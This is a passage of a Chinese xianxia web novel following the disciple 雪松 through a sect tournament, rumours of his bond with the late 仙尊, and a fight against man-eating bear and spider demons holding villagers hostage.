可惜雪松没有当仙尊的徒弟,否则有师徒的名义在前,他们感情再怎么样,也多少有一层阻碍。
现在人虽然死了,感情却没变少,反而似乎增多了,不仅半点阻碍也没有,甚至因为没有师徒之名,却有师徒之谊,更让人遗憾。
不知道,这一点是不是也在仙尊的计算之内呢?一定也在吧?毕竟,仙尊是那么高的修为,那么一个算无遗策的人。真是好算计!
让人连死也忘不了他。倒有点分不清,仙尊对雪松究竟是爱是恨了。要是真有那么爱,怎么舍得让人在自己死后,念念不忘?
寻常人也该知道生离死别是锥心之痛,仙尊又何尝不知?总不会是因为,仙尊宁愿让人受锥心之痛,也不愿意被忘记吧?
仙尊什么时候这样胆小起来?不过这也说不准。毕竟在雪松之前,谁也不知道,仙尊还能处处为人考虑到连剑也给人准备好的程度啊。
长青已经得到了自己想要知道的,当即向剑仙告辞,带着白刺猬回宗门去了,同时嘱咐道:“今天的事不要告诉别人,我想雪松和仙尊应该都不希望这些事情,被大肆宣扬。”
白刺猬重重点了点头:“我知道了,我不会说的。”
“你走吧。”长青对他挥了挥手。
白刺猬转身离开,长青回到洞府,长老还在等他,他在桌边坐下,沉默着饮了一盏茶,随后将事情缓缓对长老说了。
长老听后,对这些年轻人的感情无可奈何,摇了摇头,感慨道:“十年生死两茫茫,不思量,自难忘。”
长青听完只是沉默,又饮了一杯浓茶,请长老先回去,自己在洞府里呆坐了一晚,神色复杂。
到了宗门新生弟子大比的那一日,雪松提着剑,穿着软猬甲,领了号码牌,按照顺序上了擂台。
宗主和诸位长老都在台下观战,其他新生弟子,要么也在擂台上,要么刚下擂台,准备休息,要么还没上去,正在兴奋,暗中讨论着谁能赢,现场一片嘈杂。
也有一些非新生弟子在维护秩序和来凑热闹,长青就在其中,距离长老不远,但和雪松的擂台更近一些。
白刺猬作为新生弟子之一,也是要参加大比的,但他排在后面,所以还没上擂台,围在人群中旁观,看见长青,就凑了过去。
一声哨音响起,擂台比赛开始。
雪松初入宗门时,修为只是炼气期,在新生试炼地的时候,修为已经进了筑基,现在临近筑基边缘,只差一点就能进入金丹。
但他真要是进了金丹,在新生弟子大比里就属于碾压局了,宗门是不会允许他这样的修为参加新生弟子大比的,对其他弟子不太公平,毕竟他们的修为没那么高,真要是比起来只有挨打的份,哪怕他确实和他们一样,都是新生弟子。
不过,即使他现在没有进入金丹,筑基巅峰的修为,也足够他横扫一片的了。
站在他的擂台上的对手,没有一个能撑过一招的,不是眨眼间被扫下擂台,就是一招也接不下来,就晕了过去,趴在地上,十秒之后也没爬起来,被裁判拎了下去。
白刺猬忍不住感慨道:“照这样的趋势,他完全能不费吹灰之力就拿第一。”
长青点了点头。
一个新的对手站上了雪松的擂台,周围忽然都安静下来,注视着他们。
第27章
长青看着眼前的情形不由得皱了皱眉, 有些担忧。
白刺猬左右看了看,不知道为什么突然安静下来,但十分好奇, 因此向长青低声问:“发生什么了?难道新上去的那个雪松的对手是什么了不得的大人物?可这是新生弟子的比赛吧?”
长青神色凝重点了点头回答:“他是白家天赋最好的嫡系子孙, 大把的丹药装备在家里随便挑,进了宗门之后也一骑绝尘, 不管是战斗力, 防御力还是修为,都把别人甩在后面, 使人望尘莫及,可以说, 如果雪松要争第一, 这是个强有力的竞争对手。”
白刺猬听了也忍不住担忧起来, 皱了皱眉问:“雪松之前横扫千军一般, 那么强,居然不能像对付其他人一样对付这位?”
长青点了点头:“据我所知是的, 他身后毕竟有一整个家族。”
“我记得修仙之人修为越高, 越会被天地禁止生育,甚至根本无法生育,”白刺猬感到疑惑,“他怎么能有一个家族在背后?”
长青嗤笑一声,神色鄙夷冷冷道:“总有人妄想一边长生不老一边子孙满堂,自然会想出办法来的。
修仙者修为高了无法生育, 那就召集有血脉关系的凡人,大量生育,从中挑选有灵根有天赋的,再加以培养, 如此往复,人数众多,又有血脉又有恩情,又是联络不断的资源,家族自然形成。”
“那凡人呢?”白刺猬听到这里不知怎么心中一惊,感到后背发凉,犹豫着用更加低微的声音仿佛怕惊扰什么似的问。
“凡人不过是工具,用完就丢的存在,即使活着,”长青讥讽道,“无用也会被弄死,不过是在活着的时候,鲜花着锦,烈火烹油,金银珠宝,美酒佳肴,佳人如云,以为可以自得其乐,实际上,是自作自受。”
白刺猬陷入了沉默。
他是从小山村出来的,不知道什么家族不家族,没有什么后台背景,不能想象面前有一个敞开的宝库,随意挑选灵器装备,也更不能天材灵宝和丹药当饭吃。
平时他不打听,也没人特意告诉他,以至于他到今天才知道,突然感觉自己的精神状态受到了很大的冲击,好不容易稳住的筑基期修为,都一下子摇摇欲坠起来。
他的天赋本来就不算上佳,只不过靠着勤奋努力,再加上一点微薄的灵根,足够他看起来好像还跟得上队伍,只有他自己知道,夜不能寐的时候,究竟掉了多少头发,喝了多少浓茶,发了多少次疯。
毕竟,他的家世在凡人里,或许还算普普通通,到了修仙界中,那就只能算穷困潦倒了,他连丹药都得省着吃,能在宗门这种摆满了聚灵阵的好地方修炼,都算他运气好。
在这里生活所接触到的一切,于他而言都是翻天覆地的,好像修仙之人和凡人之间,确实有一道看不见的,无法逾越的屏障。
心性未曾磨练,年岁又尚轻,不见得经过引导,灵气在经脉中乱窜,白刺猬意识有些恍惚,险些跌倒在地上。
长青皱了皱眉,拍了他一巴掌,喝道:“醒来!”
白刺猬回过神来,紊乱的灵气逐渐趋于平复,脸上仍然是茫然的,喃喃道:“为什么是自作自受?”
他怕有一天自己也会落得自作自受的评价。
他抓住了长青,如同溺水之人,抓住了最后一根救命稻草,眼巴巴望着,希望得到一点帮助。
长青无可奈何,回答道:“那些凡人要是不贪图享乐,也不会明知道前途渺茫,此路危险,还非要一头扎进去,不肯出来。”
“可是,”白刺猬犹豫着问,“难道不是修仙之人先引诱他们吗?要是没有那些好东西摆在面前,他们知道有危险,又怎么会去呢?”
长青冷笑一声:“天底下哪有光得好处没有坏处的事?他们想要那么多的好东西,只有拿自己的命去换,难道还有别的路不成?”
他是不觉得那些修仙者是什么好东西,但也不觉得这些凡人能是什么好东西。毕竟,不为那些修仙者做事的凡人也有的是。
那些凡人确实在事情最后丢了自己的命,但在失去生命之前,也实实在在享受了几十年,这和诈骗可不一样。
他们不是单纯的受害者,也不是对事情一无所知,更不是只有损失,没有一丁点的好处。
倒不如说有的是人愿意为了那几十年的荣华富贵,在最后丢掉自己的命,至少他们死的时候,不曾经受折磨,还算痛快。
他们得到的那些奢靡享乐的生活,没有修仙者,只靠他们自己,一辈子也是赚不到的,既然他们要享受不属于自己的东西,那自然也会丢掉,本来属于自己的,愿赌服输罢了。
这怪得了谁?
修仙者确实可能以力压迫,但威逼和利诱,哪一种方法的副作用更小,他们还是清楚的,有你情我愿的,又何必费时费力去折磨别人?
白刺猬虽然不太明白,但垂着眼睛,低着头,不再问下去了。
台上,拥有纯净冰灵根的白家嫡系子孙白雪,靠着脖子上鸡蛋大小的翡翠项链,防御住了雪松的第一波攻击,只是往后退了两步。
那项链闪了一闪光,周围立刻便有人惊呼:“黄品上阶法器!果然是白家的嫡系子孙!这么有钱!这种东西在市面上可贵了!”
旁边迅速有人接话:“我逛街的时候看见过一次,黄阶下品法器最常见,最便宜,但也不是那么好买到的,黄阶中品法器,稍微不那么容易找,也不那么便宜,但我们努努力还是有可能买到的,可要是黄阶上品,那可是可遇不可求的!寻常根本有价无市!”
其他人连连点头,一脸赞同,一边注视着台上的战斗,一边就着法器讨论起来:“听说还有一种,黄阶极品法器,是金丹以下修为的修士,可能接触到的最好的东西了,也不知道我们这辈子有没有运气看见一次。”
白刺猬好奇问:“为什么黄阶极品就是金丹以下修为可能接触到的最好的东西了?”
长青面不改色,注视着擂台回答:“因为极品比上中下都更难炼制出来,数量稀少,价格昂贵,修为在金丹以下,几乎见不到,但修为上去之后,更容易接触到好东西,黄阶极品不过如此,所以他们这么说。”
白刺猬忽然想到雪松的软猬甲,虽然他不太确定那东西的品阶,但如果是仙尊送的,那东西多半也不会品阶太低,就问:“那金丹以下的修士能不能用玄阶下品的灵器呢?”
“理论上是可以的,但实际上强行使用会爆体而亡,所以为了安全起见,大家一般不那么做,除非经过反复高强度锻炼,适应了,可是,何必冒这个风险?”长青摇了摇头。
白刺猬点了点头:“这倒也是。”仙尊应该不会送给雪松一种品阶高但是容易致死的东西,毕竟他们是朋友。
白雪转着手上的戒指,突然发动了寒冰地刺术,只见擂台霎时间布满了白雾,地上一根一根冒出刺来,追向雪松。
雪松使用了火灵根修士常用的火焰燃烧术,一剑挥出,火焰将满地的刺都融化成水,那些水在地上流动着,想要重新变回冰,但是颤抖了一阵,终究因为高温,不得不在地面消失掉。
紧接着,擂台上的雾气,也很快就被火焰的高温灼烧殆尽,显出一种有些扭曲,蒸腾的酷热夏季的严苛的热度来。
白雪已经在这个时候意识到,不管是比灵力储备还是修为,或者是攻击,他都不太比得上,恐怕要输。
他可以强行坚持下去,变成在雪松的擂台上坚持得最久的那一个,但是这没有什么意义,至少对他来说是的。
他得想个办法,尽快结束这一场战斗,那样或许有赢的机会,哪怕付出一些代价也在所不惜,毕竟他不是只代表自己。
在新生弟子宗门大比上失败,绝对会被家族注意到,之后能分配到的资源也会断崖下跌。
他的修为要是因此落后,很难重新再追上,哪怕他再次想办法得到相应的资源,时间终究是追不回来的。
他一咬牙,用起了曾经从书上见到过禁咒,理论上,宗门大比是不能伤及性命的,所以攻击性过高的咒语都会被禁止使用。
禁咒通常是以危害巨大闻名而后被禁止,这个时候也不该用,但只要用了能赢,哪怕名声不好,也总归是赢的,名声可以以后再争,这一次输了,那就是输了。
他用平生最快的速度念完了咒语,盯着雪松,将能量释放出去,期待这个咒语能够给他应有的效果,整个擂台在眨眼间被冰封。
雪松双腿被冰冻在擂台上,灵力运转晦涩,那些冰块还在往上,呼吸间到了他的腰,甚至还有继续加速的趋势,被上身的软猬甲挡了一挡。
第28章
软猬甲是被雪松穿在外套里面的, 一般情况下,外面的人是看不见的,但软猬甲刚才抵挡了一波攻击, 现在的存在感就异常强烈起来。
旁人或许不知道, 但是同在擂台上的白雪,近距离看着雪松身上的冰雪在腰间顿了顿, 就知道雪松外套里绝对有可以防御的灵器。
这种时候再定睛一看, 白雪自然轻而易举发现了雪松的软猬甲,忍不住转了转自己的储物戒指, 暗中掏出了一枚专用来毁坏他人灵器的飞镖,往前一掷。
飞镖冲着雪松身上的软猬甲就飞了过去。
雪松被冰雪硬控在原地无法动弹, 自然也没有办法辗转腾挪, 避开那枚冲着自己身上软猬甲飞来的飞镖, 皱了皱眉, 居然干脆撤销了身上的防护罩,就那么站在那, 等着飞镖来扎。
台下的人都惊了一惊。
“他连防护罩都撤掉了, 是想要认输吗?”
“如果不是,这不是自寻死路吗?”
“他怎么还能一意求死呢?这不是个比赛擂台吗?应该不是自杀现场才对啊?有什么天大的仇怨要在这儿,了结性命的?”
人们面面相觑,一时间都不知作何反应。
白刺猬比旁人更加紧张,双手握成拳头,交叠在身前, 皱着眉头,想要帮忙,却又不知怎么帮起,忍不住向长青问:“您不着急?”
长青眉毛动了动, 但面色仍然比他们平静许多回答:“不急,他死不了。”
飞镖已经扎到了雪松的身上,只听当的一声,仿佛坚硬的金属相撞,飞镖从雪松面前坠落下去,掉在了地上,晃了两下,眨眼间起了火,烧成了灰。
白雪猛然间瞪大眼,盯着地上已经变成灰尘的飞镖残骸,十分不可置信喃喃道:“只有玄阶灵器才能不受影响,反而使飞镖受到反噬!”
他往后退了两步,呆呆看着雪松,倒吸一口凉气:“你居然有玄阶灵器?你居然敢用?你居然穿在身上,还参加宗门大比?”
话音未落,地面上的冰雪想要强行冲向雪松的头颅,再一次遇到了软猬甲,双方相撞,软猬甲震碎了冰雪,雪松恢复了活动能力,盯着白雪,一剑向他斩了过去。
众人看出雪松身上一定有品级不低的法器,都有些惊讶。
“他怎么会有那样高阶的法器?”
“没听说宗门里谁最近送了高阶法器给新生弟子,也没听说他是哪个大家族的人,但他和仙尊如此相似,说不定和仙尊有什么不为人知的关系,那也许东西是仙尊送的,毕竟,以仙尊的修为,要送一个对新生弟子而言十分高阶的法器,不过是举手之劳。”
“若果然如此,仙尊当真算无遗策,连今日雪松会遭此劫都算出来了,给人提前准备好了防御法器——雪松不是不曾拜师吗?仙尊怎么会给他准备东西?难道他们是——”
众人面面相觑,倒吸一口凉气,忽然为自己意识到的东西心中一惊。
虽然从来没有听说过仙尊有个道侣,但既不是血缘,血缘长不了那么像,又不是师徒,师徒不可能没名没分,又不是转世,众所周知,仙尊根本没有转世,平白无故,仙尊怎么会对一个陌生人这样好?仙尊可没有像这样对待别人!那就只有一种可能了。
排除所有不可能之后剩下的唯一一种可能,哪怕再不可思议也是真相——雪松是仙尊的道侣!
所有人都像是被巨大的信息量突然之间炸懵了一样,陷入呆滞的停摆状态,双眼发直,一言不发,微微张嘴,震惊迷茫,再加一点隐隐约约的亲眼旁观秘密爆发的兴奋,表情相似到仿佛同一个罐头里捞出来的沙丁鱼。
至于长青,目不转睛注视着雪松,神色格外复杂。
他认出雪松身上穿着的那件软猬甲,是玄阶灵器,以雪松的修为,要驾驭这种等级的灵器,本来是勉强的,甚至必定要受伤。
但那件软猬甲上有雪松的灵魂印记,有灵魂印记,等于灵器认了主,雪松再要驾驭,自然毫不勉强,也不必受伤。
可是,以雪松的修为,那灵魂印记绝不可能是他自己打上去的,因为他根本做不到,那就是仙尊为他做的?
仙尊居然为他做到这个地步!
要知道,寻常人的灵魂印记都在灵魂深处,绝不可能轻易被人所知,若要强行探知,被探之人通常非死即伤,稍微好些也必定变为痴傻,不得恢复。
修仙之人的灵魂印记更是意识深处的秘密,修为低微之时,连自己也找不到的,何况是让别人在自己的识海深处找,那只会更加艰难!
由此可见,仙尊为雪松准备玄阶灵器,不过是表面上,旁人所能看见的,最简单的付出而已,实际上的心血,在于那个灵器上的雪松的灵魂印记。
哪怕是仙尊那样的修为,要把一个未曾修炼的灵魂的印记从灵魂深处提取出来,也是千难万难,非要细心谨慎不可。
更何况,灵魂印记也不是提取出来就完了,还得烙印在灵器上,使灵器认主,既不损毁灵器,也不损毁灵魂印记,是寻常人难以想象的费力又精细的事。
最重要的是,要获取他人的灵魂印记,必将深入到他人的灵魂深处,甚至不止一次,于修士而言,以自己的灵识进入他人灵魂,又称灵修——
顾名思义,灵魂意识上的修炼,与身体欢愉截然相反的另外一个方向,却有殊途同归的效果,通常是情意缠绵的道侣才会做的事。
因为灵魂是过于重要的东西,接触的刺激也太强,不是道侣,根本不可能有足够的信任相互触碰,更何况进入深处,还是反复。
难以想象,仙尊究竟进入雪松的灵魂多少次,雪松又有多么信任仙尊,才能留下那么完整的,好像雪松本人烙下的灵魂印记。
还有一件鲜为人知的事——
高阶修士的神识进入低阶修士的灵魂之中,会在瞬间对其一切了如指掌,也就是说,仙尊若真进入过雪松的灵魂,早就对雪松的一切,知之甚深——
知道了一切,而仍然愿意深爱下去吗?仙尊爱雪松,当真爱到无怨无悔的地步?简直像海水倒流一样不可思议!
惊人的剑气和灼人的火焰同时爆发,擂台上的冰雪瞬息间消融殆尽,白雪大受震撼,防御慢了半拍,往后踉跄着退到了擂台边缘,撞到了擂台的防线,却还死抓着擂台的柱子,皱着眉头,苍白着脸色,咬着牙不肯松手,强行把自己拽了回来。
雪松看出他不可能自愿退出,重新向他补了一剑,他忽然间掏出一张符咒,瞬息间,念动咒语,使用了符咒,符咒在众人眼前,变作火焰燃烧,冲向了雪松。
雪松谨慎向后退了一步,开启了防护罩,但那符咒视防护罩为无物,猛然间往前一冲,冲到了雪松的额头上,雪松被这强烈的冲击力撞了一下,往后踉跄了一步。
与此同时,雪松的剑气冲到了白雪面前,白雪毫无防备,被撞得从擂台边缘翻下地去,砰的一声,四仰八叉摔在了地面上,因为拼尽全力,十分疲惫,身体又抽空了灵力,过于虚弱,当时就眼一翻,晕了过去。
毫无疑问,这一局仍然是雪松胜利了,但他看起来消耗太大,和之前轻松就赢下来的局面,完全不一样,额头上冒出冷汗,嘴唇苍白,虽然依旧站在擂台上,可呼吸已经不那么平稳了,似乎不太能坚持下去。
负责裁判的长老向他问:“你还要继续吗?”
“继续。”雪松毫不犹豫点了点头。
他可不愿意在宗门大比这件事上,花费更多的时间,能够一劳永逸,当然是最好的,至于疲惫,睡一觉就能恢复,要是不嫌麻烦,长时间的打坐,也可以达成一样的效果,他不觉得这是需要担忧的事。
裁判长老将信将疑:“那好。”
虽然雪松之前看起来很强,但现在比之前虚弱了许多,上一局又像是惨胜,消耗了许多精力和灵力,很多参加大比的以逸待劳的新生们,忽然跃跃欲试起来,觉得自己可以试一试,也许能赢。
他们一个接一个上去,一个接一个被打下来,没有一个坚持的时间有白雪长,哪怕他们上去的时候,完全是满血。
他们下来之后不由得感慨。
“雪松不愧是长老亲自引荐的人才,果然天赋卓绝!”
“我算是明白了,仙尊和雪松根本是同一种人,当初仙尊是如何独占鳌头的,如今雪松便要如何横扫千军,我等是争不过他的!”
“岂止啊!仙尊与雪松若果然是道侣关系,我们岂不是在与仙尊的道侣争夺新生大比的名次?如今我们也算发达了!以后出去可以说,我们也是和仙尊道侣切磋过的关系!四舍五,岂不是曾经挑战过仙尊,还全身而退?这可是了不起极了!”
“确实!确实!”
第29章
天色逐渐黑了下去, 比赛终于结束,雪松得到了第一名。
宗主从座位上站起来,在众目睽睽之下走到他面前, 将前三名的奖励放在他面前, 任他挑选说:“恭喜你,新生大比的第一名, 你有权从这三样东西里挑选其中一样作为奖励, 拿走你最想要的那个东西吧。”
雪松的目光从面前的三样东西上,一一扫了过去, 这三样东西分别是:一袋具有丰富灵气的数量颇多的灵石,一瓶可以提升结丹概率的聚丹药, 一只看起来平平无奇的, 没有任何特殊气息的玉镯。
他伸出手去, 径直掠过了面前的灵石和丹药, 毫不犹豫拿起了那只玉镯,在眼前看了看, 就套在了自己的手腕上。
“你确定要这个了吗?”宗主挑了挑眉, 向他确定问。
“就要这个。”雪松点了点头。
“你知道这是什么?”宗主看着他问。
“您可以告诉我,”雪松心中大概有数,但按理说,他不该知道,所以他问,“这是什么?”
“这是增益玉镯, 本来有一对,但其中一只遗失了,只剩下这一只,”宗主顿了顿, “所能达到的增益效果从原本的百分之五十降到现在的百分之二十,虽然还是玄阶上品灵器,但实际上,只能发挥出玄阶下品的作用,对修士的修为要求也并没有降低。”
雪松若有所思,点了点头:“以我现在的修为,玄阶下品正合适,要是更高一些,那我得再突破才行。”
“突破不急在一时,”宗主嘴角抽了抽,感觉他在自己面前炫耀天赋,他从进宗门到现在,短短数月,就从练气弟子提升到筑基巅峰,要是换一个没有天赋的,这点修为提升已经够耗十年的,他不想着稳固,还要突破,也不知道在着什么急,“你真的要这个吗?平日里没有切磋战斗,这个镯子戴在手上,也不过是个稍微坚硬的装饰品罢了。更何况,你的修为虽然不低,但非要用这个镯子,也实属强行,恐怕有损经脉,容易自毁根基。”
雪松听得出来宗主的意思,仍然说:“我就要这个,除非,您改变主意,不打算把这东西给我了。”
“好吧,”宗主在心里深深叹了一口气,面上微笑着说,“这东西是你的了。”
雪松点了点头,转身离去。
“那个镯子看起来怎么有点眼熟呢?”长老若有所思,看着雪松离去的背影,挠了挠头,喃喃自语。
长青正要问,长老忽然想起来了,把手一拍对他说:“仙尊也曾经戴过那样的镯子,只是后来不戴了,也不知为什么。”
“那段时间发生了什么吗?”长青问。
“发生了什么?”长老想了想:“仙尊外出执行了一个任务,任务目的地有个习俗,青年男女,手腕上都戴一只镯子,表示未婚,要是两只手腕都戴镯子,就是不婚,要是两只手腕都不戴镯子,那就是已婚,据他们说,要是两个人走在大街上,镯子恰好能凑成一对,那就说明他们是上天注定的姻缘。”
长青听着听着神色逐渐诡异起来:“之前不取之后不取,偏偏过了那个任务之后取,仙尊该不会是听说了当地的习俗,又恰好在那个时间前后,与雪松结为了道侣,才把手上的镯子取下来的吧?不然怎么解释?时间点和地点都这样巧合?”
长老挑了挑眉,来了些兴趣说:“这也不是不可能,我们谁也不知道,仙尊与雪松是什么时候认识的,又是什么时候结为道侣的。
说不定他们就是那时候,暗中结为了道侣,又不想让别人知道,又不想让别人觉得还有机会,所以仙尊取了镯子,既可以暗示当地人,又可以讨道侣的欢心,一石二鸟。
不愧是仙尊!”
长青想了想:“一切都不过是我们的猜测,改天我去问一问他,大比已经结束,他休息一阵子,应该会继续出任务。
到时候我跟他一起,说不定他会经过仙尊曾经经过的任务地点,即使他不去,我也可以请他去。
到了地方,触景生情,也许他想起一些,我再问一问,究竟发生了什么,我们就能知道了。”
长青说完,点了点头,就要转身离开,长老睁了睁眼睛,连忙喊住了他:“别急着走,现在的雪松,跟从前那个与仙尊结为道侣的雪松,就算是同一个人,记忆上也必定是有所缺失的,不是因为转世,就是因为失忆,要是他想不起来呢?你非要问也问不出的。”
长青想了想,想到了办法,笑道:“这件事好办,不就是记忆缺失吗?要是因为转世,只要布置一个唤灵阵,他自然能想起前世记忆。
要是因为失忆,那就更好办了,给他一杯回忆水,不管他失去了什么记忆,只要没有被封印,或者被抢夺,总能想起来的。”
长老为他如此执着于找回雪松的记忆而打了个哆嗦,忍不住有些惊讶疑惑问:“你非要让他想起来干什么呢?
其实问一问就好了,他要是不记得,也算前尘尽忘,从前的事情就跟他不相干了,不必再把他牵扯进来。
他要是记得,却不想说,你也最好不要问,本来就和你没关系,你再追问下去,反而让他不高兴。
他要是记得,对你说了,你想知道的都知道了,又何必让他把不记得的想起来?谁知道是好是坏?万一是他自己要忘呢?”
“他要是真的什么都不记得也就算了,可他明明记得,一看就没有忘干净,从前的事不会和他不相干的。
就凭他那张脸,真要有人想向仙尊寻仇,找不到仙尊也会找他,他做不到和仙尊撇清关系,”长青摇了摇头,一脸无可奈何,十分平静回答道,“更何况,他要是不记得,我去问他,他也答不出什么,我需要他记得。
他可以选择不记得,大不了在回答了我的问题之后再忘掉,我想,忘掉不想记得的东西比想起不记得的东西,容易多了,他真要是一点也不想记得,不会有空在乎我的。”
长青顿了顿,又似笑非笑说:“事已至此,他要是什么都不记得,什么都不回答,我们就什么都不会知道,谁又能肯定,我们的猜测一定不是在污人清白呢?
哪怕是为了仙尊,也应该叫他想起来再问一问的。我想,假如仙尊还在,也不会希望我们胡乱猜测,毕竟,仙尊活着的时候,可是清清白白。”
长老想了想,觉得他说的有道理,无可奈何点头道:“那你,多少还是委婉一点,我怕雪松承受不住。”
如果雪松想起了仙尊活着的时候,他们之间关系有多么好,现在仙尊已经死了,雪松一定会伤心。
如果雪松想起了仙尊活着的时候,对他的不好,他一定会难过,再加上仙尊已经死了,不管他什么情绪,都绝对得不到仙尊的回应,只会更难过。
但或许是他这辈子注定有此一劫吧。如果他们什么都不问,猜测又有所偏差,那就真成了凭空污人清白,所以这也算是不得不问。
长老在心中叹了一口气,提前向雪松和仙尊告了歉。
长青明白长老的意思,点了点头,忍不住笑道:“我会尽可能委婉的,我又不想看见他难过,我对仙尊,也没什么可不满的。”
毕竟,死人已经死了,活人还要活下去。
长老点了点头,心情十分复杂:“你去吧。”
长青转身离开。
在洞府里休息了一天一夜,雪松领了第三个任务,准备出发的时候,长青跟了过来,笑眯眯对他说:“我跟你一起去。”
“你没什么别的事情要做吗?”雪松忽然有点疑惑。
“有啊,”长青耸了耸肩,“但是我不是很想去,所以我过来找你了。”
雪松点了点头,将信将疑:“你真要跟我去?去做什么?”
长青笑眯眯说:“看看你怎么完成任务,顺便看看你完成任务之后有没有时间,你之前答应了要和我一起去东海,看三生幻境石的。”
雪松想起有这么一回事,点了点头:“有时间可以完成这个任务之后去,没时间还是等下次吧?”
“好啊,”长青微笑着说,“我不着急。”
雪松信了他的话:“那就好。”
好巧不巧,雪松第三个任务的任务地点,又是一个仙尊曾经去过的地方,同时这里也是长老提起的拥有关于镯子习俗的地方,仙尊也正是在这里完成了任务之后,就把手上的镯子取了。
说起来,没人知道,仙尊把取下来的镯子放在哪了,长青走在街道上,不由自主往身边看了一眼。
他有一种预感,也许雪松能找到那只镯子,和手腕上的新生弟子大比第一名奖励,凑成一对。
两只镯子很可能是同一种款式,甚至,本来就是一对。
“你看什么?”雪松感到疑惑。
“任务是什么?”长青问。
第30章
“山上有只黑熊精, ”雪松一边往前走,一边随意扫了一眼不远处路边摊子上的镯子,回答, “杀了就算完成任务。”
长青若有所思, 点了点头:“那我跟你一起去还是?”
“你可以不跟我一起去,”雪松看了他一眼, 知道他来并不是为了做任务, 对他没有任何要求,无所谓说, “我一个人也办得成。”
“那只黑熊精的修为怎么样?”长青掏钱买了一只热乎乎的烫烫的肉馅饼,又往前走了两步, 跟上他问。
“比我低一些, ”雪松想了想, 宗门给出的信息里, 那只黑熊精是筑基巅峰修为,但是迟迟突破不了金丹, 而他用不了多久就可以突破, 可见他的修为确实比那只黑熊精要强些,他并没说错,只是若真要细说起来,长青一定不放心,说不定非要跟他去,有些事他反而会束手束脚, 还不如含糊些,对长青十分平静说,“不用担心。”
长青将信将疑点了点头,他本身就是顺路来的, 来之前,没有仔细看任务信息,此时听雪松这么一说,觉得仿佛是这么一回事,又不太记得清楚,就想了想问:“真不用我跟你一起去吗?”
“不用。”雪松毫不犹豫斩钉截铁回答。
长青听他态度这样坚决,并不想惹恼他,点了点头,十分顺从道:“我明白了,那你自己去,我在这边等你回来。”
雪松点了点头,本来还想休息休息再走,但是,不希望听长青改变主意,打算尽快把事情解决,也就立刻寻找黑熊精去了。
他去的时候不太巧,黑熊精正在家里款待宾客,那个宾客是只庞大的蜘蛛精,已经化形完全,修为比蜘蛛精还高一些,前不久才入了金丹,只稍稍稳固了一两天,就立刻应邀过来,双方相谈甚欢。
他不太确定自己能一挑二,尤其是对面有一个修为比自己高的,犹豫了一下,找了个地方藏起来,隐匿了气息,想看看那只蜘蛛精什么时候走。
随后他就听见,黑熊精对蜘蛛精说:“你这次,真是来对了,我前些天刚抓了十来个村子里的人,打算慢慢吃的,或煎或煮或炸,味道一定不错,既然你入了金丹,那今天咱们也涮两个人吃吃,算是庆祝,你觉得怎么样?”
“好啊好啊,”蜘蛛精笑眯眯点了点头,扯了扯衣服,托了托肚子,拍着胸脯说,“实不相瞒,我这次带了一大堆小子来呢。”
“都在你肚子里?”黑熊精挑了挑眉,把目光落在蜘蛛精凸起的腹部,若有所思问:“你打算一起吃?要油炸吗?我准备了很多油。”
“油炸一半吧,”蜘蛛精想了想,站起身来,扯了扯衣服,只听哗啦一声,地面上立刻湿了一块,紧接着,噼里啪啦的声音响了起来,一大堆蜘蛛卵落在地上,眨眼间孵化了,许许多多的黑色小蜘蛛从里面爬了出来,在地上乱走,蜘蛛精捡了一只吃掉,咔嚓咔嚓响,重新坐回去说,“你随便挑,剩下的我带回去。”
黑熊精点了点头,掏出一个口袋来,一巴掌抓了大把的小黑蜘蛛,塞进口袋里,捏住口袋,在手心里晃了晃,觉得差不多了,就说:“那我去油炸?你在这等我?”
蜘蛛精点了点头:“去吧,我等着你把油炸好的人和小蜘蛛都端回来。”
黑熊精提着口袋走了,雪松觉得这是个机会,跟了上去,看见黑熊精提着口袋进了厨房,站在门口往里一望,看见厨房角落里密密麻麻捆着人,那些人都闭着眼睛歪着头,或是靠墙或是躺在地上,一副任人宰割的样子。
黑熊精点了火,架起油锅,金灿灿的油在黑漆漆的锅里逐渐冒烟,黑熊精打开口袋,把小蜘蛛全都抖了进去。
小蜘蛛发出噼里啪啦的响声,在油锅里挣扎着,很快浑身冒泡变作金黄色,并且缩水,小了不少,肢体颤了颤,逐渐失去活力。
黑熊精把口袋揉成一团,往旁边角落一丢,就转身去看捆着的人,打算挑一个来油炸,还没有想好,就看见一个人睁开了眼睛,觉得这个人这么新鲜,吃起来应该不错,就伸出手去,要把人倒吊放血。
那个人却忽然盯着他的身后,瞪大了眼睛,他心里觉得疑惑,同时察觉到背后一股凌厉的剑意向他的脖子袭了过来,猛然一惊,立刻施展了瞬移术,躲了开去。
雪松偷袭不成十分可惜,摇了摇头,但他也知道时间不多,如果黑熊精把蜘蛛精呼唤过来,再加上那一堆的小蜘蛛,他很难保全这里的其他人,毕竟他的修为还没高到,可以碾压的地步。
这也正是他非要迅速提升修为的原因。
他毫不犹豫提剑追上了黑熊精,黑熊精反应过来,下意识要跑,他干脆把剑往前一丢,凌厉的剑意带着锋利的剑尖冲向黑熊精。
黑熊精大惊失色,猛然加速,又往外冲了一截,但就在这个时候,他发现那把剑虽然来势汹汹,却并不是他不可以抵抗的。
他停住了脚步,开始防御,同时转过身来,仔细打量起雪松,眯了眯眼睛,发现雪松的修为和自己差不多,脸上不受控制嗤笑了一声,心中涌起滔天怒火,一边向雪松走去,一边毫不犹豫喝骂道:“你这贼子,偷鸡摸狗不成,还想谋财害命?险些真见你得意!我可不是好招惹的!”
他说着撸起袖子,瞪着眼睛一咬牙,浑身上下的皮肤都爆出浓密坚硬的毛,显出本来的样子,赫然是一头身强力壮而且巨大的熊。
雪松倒并不怕他现出原形,但也知道他现出原形之后,攻击力和防御力都绝对会比人形的时候更加强,毕竟是本相,提起了警惕。
黑熊精开始横冲直撞,四面八方砰砰乱响,房子似乎摇摇欲坠,地面上腾起灰尘,雪松隐约能听见不远处的蜘蛛精正在赶来。
他意识到不能再拖了,如果不能在蜘蛛精赶来之前解决黑熊精,那他就得被这两妖精围攻致死了。
他在脑内思索一番,找到了一个威力巨大的绝对禁术,站在原地,目光锁定了黑熊精,开始念咒,语速飞快,运转全身灵力,力求用最短时间达到最大效果。
空气中的灵气躁动起来,受到牵引,环绕在雪松身侧,近乎沸腾,这样剧烈的波动,给正在赶来的蜘蛛精指引了道路。
蜘蛛精顺着灵气波动见到了他们,立刻打通了厨房的墙,当着雪松的面,掐着人质的脖子对他吼道:“停下来!”
哪怕不等结果,蜘蛛精也看得出来,如果雪松这个禁术真当着他们的面释放成了,他们必死无疑。
至于人质会不会受到波及,他们不了解雪松究竟用的是什么禁术,还真不好确定,假如雪松冒着人质全死的风险也要搞死他们,那他们就是真栽了。
